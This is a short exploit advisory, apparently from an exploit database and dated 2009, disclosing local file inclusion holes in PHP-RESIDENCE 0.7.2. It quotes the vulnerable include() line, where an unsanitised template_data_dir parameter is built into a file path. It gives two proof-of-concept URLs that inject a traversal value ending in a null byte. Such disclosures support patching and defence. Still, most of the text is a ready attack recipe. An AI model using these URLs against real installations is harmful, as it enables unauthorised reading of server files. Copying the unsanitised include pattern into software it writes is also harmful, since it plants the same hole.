PHP-RESIDENCE <= 0.7.2 - Multiple LFI Vulnerability

\#&#39;#/ (-.-) --------------------oOO---(_)---OOo------------------- | PHP-RESIDENCE &#60;= 0.7.2 Multiple LFI Vulnerability | | (works only with magic_quotes_gpc = off) | ------------------------------------------------------ [!] Discovered: cr4wl3r &#60;cr4wl3r[!]linuxmail.org&#62; [!] Download: http://www.digitaldruid.net/download/php-residence_0.7.2.zip [!] Date: 30.12.2009 [!] Remote: yes [!] Code : include(&#34;./includes/templates/$template_data_dir/phrases.php&#34;); [!] PoC: [PHP-RESIDENCE_path]/includes/templates/cal/form.php?template_data_dir=[LFI%00] [!] Code : include(&#34;./includes/templates/$template_data_dir/phrases.php&#34;); [!] PoC: [PHP-RESIDENCE_path]/includes/templates/rat/form.php?template_data_dir=[LFI%00]